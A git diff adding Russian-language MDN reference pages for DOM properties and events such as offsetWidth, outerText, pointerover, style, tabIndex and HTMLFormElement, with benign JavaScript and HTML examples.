+<p><code>offsetWidth — </code>свойство объектной модели <abbr title="Dynamic HyperText Markup Language">DHTML,</abbr> которое впервые было представлено в браузере MSIE. Его иногда называют физической/графической шириной или шириной блока элемента.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.HTMLElement.offsetWidth")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Element.clientWidth")}}</li>
+ <li>{{domxref("Element.scrollWidth")}}</li>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li>
+</ul>
+
+<div class="noinclude"> </div>
diff --git a/files/ru/web/api/htmlelement/outertext/index.html b/files/ru/web/api/htmlelement/outertext/index.html
new file mode 100644
index 0000000000..27e46a5f77
--- /dev/null
+++ b/files/ru/web/api/htmlelement/outertext/index.html
@@ -0,0 +1,29 @@
+---
+title: HTMLElement.outerText
+slug: Web/API/HTMLElement/outerText
+translation_of: Web/API/HTMLElement/outerText
+---
+<div>{{APIRef("DOM")}} {{ Non-standard_header() }}</div>
+
+<p><strong><code>HTMLElement.outerText</code></strong> - нестандартное свойство. В качестве геттера возвращает то же значение, что и {{domxref("Node.innerText")}}. В качестве сеттера удаляет текущий элемент и вставляет вместо него указанный текст.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p><a href="http://stackoverflow.com/a/18481435">См. ответ на StackOverflow.</a></p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Не является частью какой-либо спецификации. Обсуждение стандарта: <a href="https://github.com/whatwg/html/issues/668">whatwg/html#668</a>.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.outerText")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Node.innerText")}}</li>
+ <li>{{domxref("Element.outerHTML")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/pointerover_event/index.html b/files/ru/web/api/htmlelement/pointerover_event/index.html
new file mode 100644
index 0000000000..300dbfe89c
--- /dev/null
+++ b/files/ru/web/api/htmlelement/pointerover_event/index.html
@@ -0,0 +1,84 @@
+---
+title: 'HTMLElement: pointerover event'
+slug: Web/API/HTMLElement/pointerover_event
+translation_of: Web/API/HTMLElement/pointerover_event
+---
+<div>{{APIRef}}</div>
+
+<p>Событие <code>pointerover</code> когда указатель входит в границы элемента слушаюшего события.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bubbles</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Cancelable</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("PointerEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Event handler property</th>
+   <td><code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onpointerover">onpointerover</a></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>С ипользованием <code>addEventListener()</code>:</p>
+
+<pre class="brush: js">const para = document.querySelector('p');
+
+para.addEventListener('pointerover', (event) =&gt; {
+  console.log('Pointer moved in');
+});</pre>
+
+<p>С использованием свойство элемента <code>onpointerover</code> :</p>
+
+<pre class="brush: js">const para = document.querySelector('p');
+
+para.onpointerover = (event) =&gt; {
+  console.log('Pointer moved in');
+};</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events', '#the-pointerover-event')}}</td>
+   <td>{{Spec2('Pointer Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.pointerover_event")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/gotpointercapture_event">gotpointercapture</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/lostpointercapture_event">lostpointercapture</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointerenter_event">pointerenter</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointerdown_event">pointerdown</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointermove_event">pointermove</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointerup_event">pointerup</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointercancel_event">pointercancel</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointerout_event">pointerout</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointerleave_event">pointerleave</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onpointerover">onpointerover</a></code> свойство-обработчик события</li>
+ <li>Событие на элементах <code>Document</code>: событие <code><a href="/en-US/docs/Web/API/Document/pointerover_event">pointerover</a></code></li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/style/index.html b/files/ru/web/api/htmlelement/style/index.html
new file mode 100644
index 0000000000..683bfa1101
--- /dev/null
+++ b/files/ru/web/api/htmlelement/style/index.html
@@ -0,0 +1,78 @@
+---
+title: HTMLElement.style
+slug: Web/API/HTMLElement/style
+tags:
+  - API
+  - HTML DOM
+  - HTMLElement
+  - NeedsBrowserAgnosticism
+  - NeedsBrowserCompatibility
+  - NeedsMarkupWork
+  - NeedsSpecTable
+  - Свойство
+  - Ссылки
+translation_of: Web/API/ElementCSSInlineStyle/style
+---
+<h2 id="Кратко">Кратко</h2>
+
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>Свойство<strong> </strong><code><strong>HTMLElement.style</strong></code> используется для получения и установки инлайновых стилей. При получении возвращается объект <a href="/en-US/docs/DOM/CSSStyleDeclaration" title="DOM/CSSStyleDeclaration"><code>CSSStyleDeclaration</code></a> , который содержит список из всех свойств стилей для этого элемента с значениями заданными  для атрибутов , что определенны  в инлайновом стиле (см. <a href="/en-US/docs/Web/HTML/Global_attributes#style"><code>атрибут</code> стиля</a>) элемента. См. <a href="/en-US/docs/Web/CSS/CSS_Properties_Reference" title="/en-US/docs/Web/CSS/CSS_Properties_Reference">CSS Properties Reference</a> для получения списка CSS свойств применимых вместе со style.  </p>
+
+<h3 id="Настройка_стилей">Настройка стилей</h3>
+
+<p>Свойство style имеет тот же приоритет (и выше) в каскаде CSS как и прямая декларация стиля через атрибут style, полезен для настройки стиля отдельного специфичного элемента.</p>
+
+<p>Стили не следует устанавливать непосредственно через свойство <code>style</code> (например <code>elt.style = "color: blue;"</code>), поскольку оно считается доступным только для чтения и атрибут style возвращает объект <code>CSSStyleDeclaration</code> который доступен только для чтения. Вместо этого стили могут быть установлены путем присвоения значений свойствам <code>style</code>. Для добавления определенных стилей для элемента без изменения других свойств стилей предпочтительно использовать отдельные свойства <code>style</code> (например <code>elt.style.color = '...'</code>).
+При использовании <br><code>elt.style.cssText = '...'</code> или <code>elt.setAttribute('style','...')</code> устанавливаются стили перезаписывая уже существующие. Обратите внимание, что имена свойств стилей задаются в camel-case а не в kebab-case <code>elt.style.&lt;property&gt;</code> (т.е., <code>elt.style.fontSize</code>, а не <code>elt.style.font-size</code>).</p>
+
+<p>Объявленные стили сбрасываются присваиванием значения <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">null</span></font>, <br><code>elt.style.color = null</code></p>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre><code>// Устанавливает несколько стилей в одном выражении
+elt.style.cssText = "color: blue; border: 1px solid black";
+// Или
+elt.setAttribute("style", "color:red; border: 1px solid blue;");
+
+// Устанавливает определенный стиль оставляя другие значения стиля нетронутыми
+elt.style.color = "blue";</code></pre>
+
+<h3 id="Получение_стиль-информации">Получение стиль-информации</h3>
+
+<p>Свойство <code>style</code> в основном не имеет пользы в части информации о стиле элемента, оно только олицетворяет собой набор CSS деклараций атрибутов style элемента, а не тех которые проистекают из стиль-правил откуда-либо ещё, таких как стилевые правила раздела {{HTMLElement("head")}}, или внешней таблицы стилей. Для получения значений всех CSS свойств элемента вы должны использовать вместо этого {{domxref("window.getComputedStyle()")}}.</p>
+
+<div style="overflow: hidden;">
+<pre class="brush:js">var div = document.getElementById("div1");
+div.style.marginTop = ".25in";</pre>
+</div>
+
+<p>Следующий код показывает имена всех свойств стиля, значений, заданных явно для элемента elt и унаследованных "расчитанных" значений:</p>
+
+<pre class="brush:js">var elt = document.getElementById("elementIdHere");
+var out = "";
+var st = elt.style;
+var cs = window.getComputedStyle(elt, null);
+for (x in st) {
+  out += "  " + x + " = '" + st[x] + "' &gt; '" + cs[x] + "'\n";
+}</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><a href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-ElementCSSInlineStyle">DOM Level 2 Style: ElementCSSInlineStyle.style</a></p>
+
+<p><a href="https://www.w3.org/TR/cssom-1/#the-elementcssinlinestyle-interface">CSSOM: ElementCSSInlineStyle</a></p>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.style")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/Using_dynamic_styling_information" title="DOM/Using dynamic styling information">Использование динамической стиль-информации</a></li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/tabindex/index.html b/files/ru/web/api/htmlelement/tabindex/index.html
new file mode 100644
index 0000000000..fe41116fe4
--- /dev/null
+++ b/files/ru/web/api/htmlelement/tabindex/index.html
@@ -0,0 +1,134 @@
+---
+title: HTMLElement.tabIndex
+slug: Web/API/HTMLElement/tabIndex
+translation_of: Web/API/HTMLOrForeignElement/tabIndex
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>Свойство <code><strong>HTMLElement.tabIndex </strong>предоставляет</code> возможность вызова по кнопке Tab текущего элемента.</p>
+
+<div>
+<div>Вызов по табуляции происходит в следующем порядке:</div>
+
+<ol>
+ <li><span style="font-size: 14px; line-height: 1.5;">элементы с положительным tabIndex. <span style="font-size: 14px; line-height: 1.5;">Элементы, имеющие одинаковое значение tabIndex вызываются в порядке появления в коде.  <span style="font-size: 14px; line-height: 1.5;">Переход осуществляется от меньших tabIndex до больших tabIndex. </span></span></span></li>
+ <li><span style="font-size: 14px; line-height: 1.5;">Элементы, которые не поддерживают атрибут tabIndex или поддерживают но tabIndex установлен в "0", выбираются по Tab в порядке их появления в коде.</span></li>
+</ol>
+
+<div>Элементы для которых установлена блокировка (disabled) не могут быть выбраны кнопкой Tab и не могут быть в фокусе.</div>
+
+<div> </div>
+
+<div><span style="font-size: 14px; line-height: 1.5;">Значения могут начинаться с любого числа, могут быть отрицательными и могут быть непоследовательными, однако разные браузеры можгут неправильно сработать при очень больших значениях.</span></div>
+
+<div> </div>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>elt</em>.tabIndex = <em>index</em>;
+var <em>index</em> = <em>elt</em>.tabIndex;
+</pre>
+
+<ul>
+ <li><em><var>index</var></em> - целое число</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var b1 = document.getElementById("button1");
+
+b1.tabIndex = 1;
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p> </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-tabindex', 'tabindex')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Не было изменений с {{SpecName('DOM2 HTML')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-40676705', 'tabindex')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Не было изменений с {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-40676705', 'tabindex')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Accessibility/Keyboard-navigable_JavaScript_widgets" title="Accessibility/Keyboard-navigable_JavaScript_widgets">Accessibility of keyboard-navigable JavaScript widgets</a></li>
+ <li>The HTML <a href="/en-US/docs/Web/HTML/Global_attributes/tabindex"><strong>tabindex</strong></a> глобальный атрибут.</li>
+</ul>
diff --git a/files/ru/web/api/htmlformelement/elements/index.html b/files/ru/web/api/htmlformelement/elements/index.html
new file mode 100644
index 0000000000..dbd4e1ddcd
--- /dev/null
+++ b/files/ru/web/api/htmlformelement/elements/index.html
@@ -0,0 +1,100 @@
+---
+title: HTMLFormElement.elements
+slug: Web/API/HTMLFormElement/elements
+translation_of: Web/API/HTMLFormElement/elements
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">The {{domxref("HTMLFormElement")}} property <code><strong>elements</strong></code> returns an {{domxref("HTMLFormControlsCollection")}} listing all the form controls contained in the {{HTMLElement("form")}} element.</span> Independently, you can obtain just the number of form controls using the {{domxref("HTMLFormElement.length", "length")}} property.</p>
+
+<p>You can access a particular form control in the returned collection by using either an index or the element's {{domxref("Element.name", "name")}} or {{domxref("Element.id", "id")}}.</p>
+
+<p>Prior to HTML 5, the returned object was an {{domxref("HTMLCollection")}}, on which <code>HTMLFormControlsCollection</code> is based.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Similarly, you can get a list of all of the forms contained within a given document using the document's {{domxref("Document.forms", "forms")}} property.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate"><em>nodeList</em> = <em>HTMLFormElement</em>.elements
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>An {{domxref("HTMLFormControlsCollection")}} containing all non-image controls in the form. This is a live collection; if form controls are added to or removed from the form, this collection will update to reflect the change.</p>
+
+<p>The form controls in the returned collection are in the same order in which they appear in the form by following a preorder, depth-first traversal of the tree. This is called <strong>tree order</strong>.</p>
+
+<p>{{page("/en-US/docs/Web/API/HTMLFormElement", "Elements that are considered form controls")}}</p>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="Quick_syntax_example">Quick syntax example</h3>
+
+<p>In this example, we see how to obtain the list of form controls as well as how to access its members by index and by name or ID.</p>
+
+<pre class="brush: html notranslate">&lt;form id="my-form"&gt;
+  &lt;input type="text" name="username"&gt;
+  &lt;input type="text" name="full-name"&gt;
+  &lt;input type="password" name="password"&gt;
+&lt;/form&gt;</pre>
+
+<pre class="brush:js notranslate">var inputs = document.getElementById("my-form").elements;
+var inputByIndex = inputs[0];
+var inputByName = inputs["username"];
+</pre>
+
+<h3 id="Accessing_form_controls">Accessing form controls</h3>
+
+<p>This example gets the form's element list, then iterates over the list, looking for {{HTMLElement("input")}} elements of type <code><a href="/en-US/docs/Web/HTML/Element/input/text">"text"</a></code> so that some form of processing can be performed on them.</p>
+
+<pre class="brush: js notranslate">var inputs = document.getElementById("my-form").elements;
+
+// Iterate over the form controls
+for (i = 0; i &lt; inputs.length; i++) {
+  if (inputs[i].nodeName === "INPUT" &amp;&amp; inputs[i].type === "text") {
+    // Update text input
+    inputs[i].value.toLocaleUpperCase();
+  }
+}
+</pre>
+
+<h3 id="Disabling_form_controls">Disabling form controls</h3>
+
+<pre class="brush: js notranslate">var inputs = document.getElementById("my-form").elements;
+
+// Iterate over the form controls
+for (i = 0; i &lt; inputs.length; i++) {
+  // Disable all form controls
+  inputs[i].setAttribute("disabled", "");
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-form-elements', 'HTMLFormElement.elements')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-76728479", "HTMLFormElement.elements")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLFormElement.elements")}}</p>
diff --git a/files/ru/web/api/htmlformelement/index.html b/files/ru/web/api/htmlformelement/index.html
new file mode 100644
index 0000000000..6e83b5de3a
--- /dev/null
+++ b/files/ru/web/api/htmlformelement/index.html
@@ -0,0 +1,273 @@
+---
+title: HTMLFormElement
+slug: Web/API/HTMLFormElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/HTMLFormElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>The <strong><code>HTMLFormElement</code></strong> interface provides methods to create and modify {{HTMLElement("form")}} elements; it inherits from properties and methods of the {{domxref("HTMLElement")}} interface.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLFormElement.acceptCharset")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("accept-charset", "form") }} HTML attribute, containing a list of character encodings that the server accepts.</dd>
+ <dt>{{domxref("HTMLFormElement.action")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("action", "form") }} HTML attribute, containing the URI of a program that processes the information submitted by the form.</dd>
+ <dt>{{domxref("HTMLFormElement.autocomplete")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("autocomplete", "form") }} HTML attribute, containing a string that indicates whether the controls in this form can have their values automatically populated by the browser.</dd>
+ <dt>{{domxref("HTMLFormElement.elements")}}<code><a href="/en/DOM/form.elements" title="en/DOM/form.elements"> </a></code>{{readonlyinline}}</dt>
+ <dd>Returns a live {{domxref("HTMLFormControlsCollection")}} containing all the form controls belonging to this form element.</dd>
+ <dt>{{domxref("HTMLFormElement.encoding")}}</dt>
+ <dd>Is a synonym for <code>enctype</code>.</dd>
+ <dt>{{domxref("HTMLFormElement.enctype")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} reflects the {{ htmlattrxref("enctype", "form") }} HTML attribute, indicating the type of content that is used to transmit the form to the server. Only specified values can be set.</dd>
+ <dt>{{domxref("HTMLFormElement.length")}} {{readonlyinline}}</dt>
+ <dd>Returns a <code>long</code> that represents the number of controls in the form.</dd>
+ <dt>{{domxref("HTMLFormElement.method")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("method", "form") }} HTML attribute, indicating the HTTP method used to submit the form. Only specified values can be set.</dd>
+ <dt>{{domxref("HTMLFormElement.name")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("name", "form") }} HTML attribute, containing the name of the form.</dd>
+ <dt>{{domxref("HTMLFormElement.noValidate")}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} that reflects the {{ htmlattrxref("novalidate", "form") }} HTML attribute, indicating that the form should not be validated.</dd>
+ <dt>{{domxref("HTMLFormElement.target")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("target", "form") }} HTML attribute, indicating where to display the results received from submitting the form.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, {{domxref("HTMLElement")}}</em><em>.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLFormElement.checkValidity()")}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} that is <code>true</code> if the element's child controls are subject to constraint validation and satify those contraints, <span style="line-height: 1.5;">or </span><code style="font-style: normal; line-height: 1.5;">false</code><span style="line-height: 1.5;"> if some controls do not satisfy their constraints. Fires an event named {{event("invalid")}} at any control that does not satisfy its constraints; such controls are considered invalid if the event is not canceled. It is up to the programmer to decide how to respond to <code style="font-style: normal; line-height: 1.5;">false</code>.</span></dd>
+ <dt>{{domxref("HTMLFormElement.item()")}}</dt>
+ <dd>Gets the item in the <code>elements</code> collection at the specified index, or null if there is no item at that index. You can also specify the index in array-style brackets or parentheses after the form object name, without calling this method explicitly.</dd>
+ <dt>{{domxref("HTMLFormElement.namedItem()")}}</dt>
+ <dd>Gets the item or list of items in <code>elements</code> collection whose <code>name</code> or <code>id</code> match the specified name, or null if no items match. You can also specify the name in array-style brackets or parentheses after the form object name, without calling this method explicitly.</dd>
+ <dt>{{domxref("HTMLFormElement.submit()")}}</dt>
+ <dd>Submits the form to the server.</dd>
+ <dt>{{domxref("HTMLFormElement.reset()")}}</dt>
+ <dd>Resets the forms to its initial state.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("HTMLFormElement.reportValidity()")}}</dt>
+ <dd>Returns<span style="line-height: 1.5;"> </span><code style="font-style: normal; line-height: 1.5;">true</code><span style="line-height: 1.5;"> if the element's child controls satisfy their validation constraints. </span><span style="line-height: 1.5;">When</span><span style="line-height: 1.5;"> </span><code style="font-style: normal; line-height: 1.5;">false</code><span style="line-height: 1.5;"> is returned, cancelable</span><span style="line-height: 1.5;"> <code><a href="https://developer.mozilla.org/en-US/docs/Web/Events/invalid" title="/en-US/docs/Web/Events/invalid">invalid</a></code> events are fired for each invalid child and validation problems are reported to the user.</span></dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The following example shows how to create a new form element, modify its attributes and submit it.</p>
+
+<pre class="brush: js">// Create a form
+var f = document.createElement("form");
+
+// Add it to the document body
+document.body.appendChild(f);
+
+// Add action and method attributes
+f.action = "/cgi-bin/some.cgi";
+f.method = "POST"
+
+// Call the form's submit method
+f.submit();
+</pre>
+
+<p>In addition, the following complete HTML document shows how to extract information from a form element and to set some of its attributes.</p>
+
+<pre class="brush: html">&lt;title&gt;Form example&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+  function getFormInfo() {
+    var info;
+
+    // Get a reference using the forms collection
+    var f = document.forms["formA"];
+    info = "f.elements: " + f.elements + "\n"
+         + "f.length: " + f.length + "\n"
+         + "f.name: " + f.name + "\n"
+         + "f.acceptCharset: " + f.acceptCharset + "\n"
+         + "f.action: " + f.action + "\n"
+         + "f.enctype: " + f.enctype + "\n"
+         + "f.encoding: " + f.encoding + "\n"
+         + "f.method: " + f.method + "\n"
+         + "f.target: " + f.target;
+    document.forms["formA"].elements['tex'].value = info;
+  }
+
+  // A reference to the form is passed from the
+  // button's onclick attribute using 'this.form'
+  function setFormInfo(f) {
+    f.method = "GET";
+    f.action = "/cgi-bin/evil_executable.cgi";
+    f.name   = "totally_new";
+  }
+&lt;/script&gt;
+
+&lt;h1&gt;Form  example&lt;/h1&gt;
+
+&lt;form name="formA" id="formA"
+ action="/cgi-bin/test" method="POST"&gt;
+ &lt;p&gt;Click "Info" to see information about the form.
+    Click set to change settings, then info again
+    to see their effect&lt;/p&gt;
+ &lt;p&gt;
+  &lt;input type="button" value="info"
+   onclick="getFormInfo();"&gt;
+  &lt;input type="button" value="set"
+   onclick="setFormInfo(this.form);"&gt;
+  &lt;input type="reset" value="reset"&gt;
+  &lt;br&gt;
+  &lt;textarea id="tex" style="height:15em; width:20em"&gt;
+  &lt;/textarea&gt;
+ &lt;/p&gt;
+&lt;/form&gt;
+</pre>
+
+<p>The following example shows how to submit a form in a <a href="/en-US/docs/DOM/window.open" title="/en-US/docs/DOM/window.open">popup window</a>.</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;MDN Example&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+function popupSend (oFormElement) {
+  if (oFormElement.method &amp;&amp; oFormElement.method.toLowerCase() !== "get") {
+    alert("This script supports the GET method only.");
+    return;
+  }
+  var oField, sFieldType, nFile, sSearch = "";
+  for (var nItem = 0; nItem &lt; oFormElement.elements.length; nItem++) {
+    oField = oFormElement.elements[nItem];
+    if (!oField.hasAttribute("name")) { continue; }
+    sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+    if (sFieldType === "FILE") {
+      for (nFile = 0; nFile &lt; oField.files.length; sSearch += "&amp;" + escape(oField.name) + "=" + escape(oField.files[nFile++].name));
+    } else if ((sFieldType !== "RADIO" &amp;&amp; sFieldType !== "CHECKBOX") || oField.checked) {
+      sSearch += "&amp;" + escape(oField.name) + "=" + escape(oField.value);
+    }
+  }
+  open(oFormElement.action.replace(/(?:\?.*)?$/, sSearch.replace(/^&amp;/, "?")), "submit-" + (oFormElement.name || Math.floor(Math.random() * 1e6)), "resizable=yes,scrollbars=yes,status=yes");
+}
+&lt;/script&gt;
+
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;form name="yourForm" action="test.php" method="get" onsubmit="popupSend(this); return false;"&gt;
+  &lt;p&gt;First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+  Last name: &lt;input type="text" name="lastname" /&gt;&lt;br /&gt;
+  Password: &lt;input type="password" name="pwd" /&gt;&lt;br /&gt;
+  &lt;input type="radio" name="sex" value="male" /&gt; Male &lt;input type="radio" name="sex" value="female" /&gt; Female&lt;/p&gt;
+  &lt;p&gt;&lt;input type="checkbox" name="vehicle" value="Bike" /&gt;I have a bike&lt;br /&gt;
+  &lt;input type="checkbox" name="vehicle" value="Car" /&gt;I have a car&lt;/p&gt;
+  &lt;p&gt;&lt;input type="submit" value="Submit" /&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="Submitting_forms_and_uploading_files_using_XMLHttpRequest">Submitting forms and uploading files using <code>XMLHttpRequest</code></h3>
+
+<p>If you want to know how to serialize and submit a form using the <a href="/en-US/docs/DOM/XMLHttpRequest" title="/en-US/docs/DOM/XMLHttpRequest"><code>XMLHttpRequest</code></a> API, please read <a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">this paragraph</a>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "forms.html#the-form-element", "HTMLFormElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "forms.html#the-form-element", "HTMLFormElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>The elements properties returns an {{domxref("HTMLFormControlsCollection")}} instead of a raw {{domxref("HTMLCollection")}}. This is mainly a technical change.<br>
+    The following method has been added: <code>checkValidity()</code>.<br>
+    The following properties have been added: <code>autocomplete</code>, <code>noValidate</code>, and <code>encoding</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-40002357', 'HTMLFormElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>No change from {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-40002357', 'HTMLFormElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
